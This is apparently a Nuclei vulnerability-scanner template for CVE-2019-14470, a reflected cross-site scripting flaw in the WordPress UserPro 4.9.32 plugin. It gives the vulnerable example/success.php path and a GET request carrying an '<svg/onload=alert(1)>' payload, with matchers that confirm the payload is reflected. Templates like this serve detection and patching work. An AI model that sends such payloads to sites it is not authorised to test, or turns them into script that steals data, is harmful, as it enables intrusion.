id: CVE-2019-14470

info:
  name: WordPress UserPro 4.9.32 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress UserPro 4.9.32 is vulnerable to reflected cross-site scripting because the Instagram PHP API (v2) it relies on allows it via the example/success.php error_description parameter.
  remediation: |
    Update to the latest version of UserPro or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/9815
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14470
    - http://packetstormsecurity.com/files/154206/WordPress-UserPro-4.9.32-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/9815
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14470
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-14470
    cwe-id: CWE-79
    epss-score: 0.76628
    epss-percentile: 0.97878
    cpe: cpe:2.3:a:instagram-php-api_project:instagram-php-api:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: instagram-php-api_project
    product: instagram-php-api
  tags: wordpress,xss,wp-plugin,wpscan,packetstorm,cve,cve2019

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=%3Csvg/onload=alert(1)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(1)>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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